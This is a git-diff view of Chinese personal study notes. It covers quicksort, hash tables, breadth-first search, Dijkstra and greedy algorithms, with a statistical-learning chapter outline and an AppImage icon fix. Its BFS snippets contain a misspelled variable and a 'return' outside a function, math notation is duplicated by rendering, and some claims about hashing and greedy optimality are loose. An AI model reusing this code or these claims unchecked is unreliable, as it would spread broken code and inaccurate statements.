||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这么看来比严版快排好理解多了,严版是用两个指针和一个基准值将数组划分成两部分,可以说时间复杂度确实小了不少。
|
||||||
|
|
||||||
|
```
|
||||||
|
def quickSort2(arr, left, right):
|
||||||
|
if left>=right:
|
||||||
|
return arr
|
||||||
|
|
||||||
|
low = left
|
||||||
|
high = right
|
||||||
|
key = arr[left]
|
||||||
|
|
||||||
|
while left < right:
|
||||||
|
while left < right and arr[right] >= key:
|
||||||
|
right -= 1
|
||||||
|
arr[left] = arr[right]
|
||||||
|
while left < right and arr[left] <= key:
|
||||||
|
left += 1
|
||||||
|
arr[right] = arr[left]
|
||||||
|
|
||||||
|
arr[left] = key
|
||||||
|
|
||||||
|
quickSort2(arr, low, left-1)
|
||||||
|
quickSort2(arr, left+1, high)
|
||||||
|
return arr
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 散列表
|
||||||
|
|
||||||
|
散列函数将输入映射到数字。它必须是一致的;它将不同的输入映射到不同的数字。Python实现了散列表的实现——字典。<br/> 散列表是提供DNS解析这种功能的方式之一。
|
||||||
|
|
||||||
|
一个简单的投票:
|
||||||
|
|
||||||
|
```
|
||||||
|
voted = {}
|
||||||
|
def check_voter(name):
|
||||||
|
if voted.get(name):
|
||||||
|
print "kick them out!"
|
||||||
|
else:
|
||||||
|
voted[name] = True
|
||||||
|
print "let them vote!"
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
将散列表用作缓存,缓存是一种常用的加速方式,缓存的数据则存储在散列表中。
|
||||||
|
|
||||||
|
```
|
||||||
|
cache = {}
|
||||||
|
def get_page(url):
|
||||||
|
if cache.get(url):
|
||||||
|
return cache[url]
|
||||||
|
else:
|
||||||
|
data = get_data_from_server(url)
|
||||||
|
cache[url] = data
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
冲突的解决方法:将两个键映射到同一个位置,就在这个位置存储一个链表。为避免冲突,需要好的散列函数和较低的填充因子。
|
||||||
|
|
||||||
|
填装因子=散列表包含的元素数/位置总数,一旦填充因子大于0.7,就开始调整撒列表长度。
|
||||||
|
|
||||||
|
在平均条件下,散列表的时间复杂度为
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
1
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O(1)
|
||||||
|
|
||||||
|
|
||||||
|
O(1),在最糟糕的情况下,时间复杂度为
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
n
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O(n)
|
||||||
|
|
||||||
|
|
||||||
|
O(n)
|
||||||
|
|
||||||
|
## 广度优先搜索
|
||||||
|
|
||||||
|
图由节点——边组成。可以通过散列表将节点映射到其所有邻居,散列表是无序的。
|
||||||
|
|
||||||
|
```
|
||||||
|
graph = {}
|
||||||
|
graph["you"] = ["alice", "bob", "claire"]
|
||||||
|
graph["alice"] = ["peggy", "anuj"]
|
||||||
|
...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
创建一个队列,用于存储要检查的人,从队列中弹出一个人,检查他是否是芒果销售商,否的坏将这个人所有的另据加入队列。
|
||||||
|
|
||||||
|
```
|
||||||
|
from collections import deque
|
||||||
|
search_deque = deque()
|
||||||
|
search_deque += graph["you"]
|
||||||
|
|
||||||
|
def person_is_seller(name):
|
||||||
|
return name[-1] == "m"
|
||||||
|
|
||||||
|
while search_deque:
|
||||||
|
person = search_deque.popleft()
|
||||||
|
if person_is_seller(persson):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
search_deque += graph[person]
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
但是这种方法有缺陷,检查会有重复。应该检查完一个人,就将其标记。
|
||||||
|
|
||||||
|
```
|
||||||
|
def search(name):
|
||||||
|
search_queue = deque()
|
||||||
|
search_queue += graph[name]
|
||||||
|
searched = []
|
||||||
|
while search_queue:
|
||||||
|
person = search_queue.popleft()
|
||||||
|
if not person in searched:
|
||||||
|
if person_is_seller(persson):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
search_queue += graph[person]
|
||||||
|
searched.append(person)
|
||||||
|
return False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
时间复杂度为
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O
|
||||||
|
|
||||||
|
|
||||||
|
(
|
||||||
|
|
||||||
|
|
||||||
|
V
|
||||||
|
|
||||||
|
|
||||||
|
+
|
||||||
|
|
||||||
|
|
||||||
|
E
|
||||||
|
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
O(V+E)
|
||||||
|
|
||||||
|
|
||||||
|
O(V+E)边数和人数
|
||||||
|
|
||||||
|
## 狄克斯特拉算法
|
||||||
|
|
||||||
|
```
|
||||||
|
def find_lowest_cost_node(costs):
|
||||||
|
lowest_cost = float("inf")
|
||||||
|
lowest_cost_node = None
|
||||||
|
for node in costs:
|
||||||
|
cost = costs[node]
|
||||||
|
if cost < lowest_cost and node not in processed:
|
||||||
|
lowest_cost = cost
|
||||||
|
lowest_cost_node = node
|
||||||
|
return lowest_cost_node
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 贪婪算法
|
||||||
|
|
||||||
|
就是每步都选择最优解,最终得到全局的最优解。
|
||||||
|
|
||||||
|
### NP完全问题
|
||||||
|
|
||||||
|
## 动态规划
|
||||||
|
|
||||||
|
与上一章对应,贪婪算法得到的可能不是最优解,而动态规划可以得到最优解。动态规划先解决子问题,再逐步解决大问题。
|
|
@ -0,0 +1,24 @@
|
||||||
|
# 原创
|
||||||
|
: 统计学习方法_第一章
|
||||||
|
|
||||||
|
# 统计学习方法_第一章
|
||||||
|
|
||||||
|
# **一、统计学习**
|
||||||
|
|
||||||
|
# **二、监督学习**
|
||||||
|
|
||||||
|
# **三、统计学习三要素**
|
||||||
|
|
||||||
|
# **四、模型评估与模型选择**
|
||||||
|
|
||||||
|
# **五、正则化与交叉验证**
|
||||||
|
|
||||||
|
# **六、泛化能力**
|
||||||
|
|
||||||
|
# **七、生成模型和判别模型**
|
||||||
|
|
||||||
|
# **八、分类问题**
|
||||||
|
|
||||||
|
# **九、标注问题**
|
||||||
|
|
||||||
|
# **十、回归问题**
|
|
@ -0,0 +1,21 @@
|
||||||
|
# 原创
|
||||||
|
: 解决AppImage 程序没有正确显示图标
|
||||||
|
|
||||||
|
# 解决AppImage 程序没有正确显示图标
|
||||||
|
|
||||||
|
AppImage是一种在 Linux系统中用于分发便携式软件而不需要超级用户权限来安装它们的格式。它还试图让允许Linux的上游开发者来分发他们的程序而不用考虑不同Linux发行版间的区别。
|
||||||
|
|
||||||
|
## 特点
|
||||||
|
|
||||||
|
AppImage不把Linux应用程序安装在文件系统相应的目录中。相反,它没有进行实际的安装。AppImage文件只是个压缩文件,在它运行时候挂载。
|
||||||
|
|
||||||
|
用AppImage打包的程序,一个程序就是一个文件。每一个文件都包含了该程序在其所要运行的目标平台上所需的运行库。AppImage文件是基于ISO 9660并经过zisofs压缩的包含有一个最小化的AppDir目录和一个极小的运行环境的文件。只要把这个文件添加到live CD中,这个程序便可被轻而易举地添加进live CD中。
|
||||||
|
|
||||||
|
用AppImage文件比安装一个应用程序更加简单。它不需要解压也不需要为系统环境做调整。使用主流Linux发行版的用户可以下载它,使其可执行,并且运行即可。
|
||||||
|
|
||||||
|
## 解决图标显示问题
|
||||||
|
|
||||||
|
```
|
||||||
|
/home/$USERNAME/.config/ # 这个目录中是一些配置文件
|
||||||
|
/home/$USERNAME/.local/share/applications # 这个目录中是一个桌面文件 appimagekit.desktop
|
||||||
|
```
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue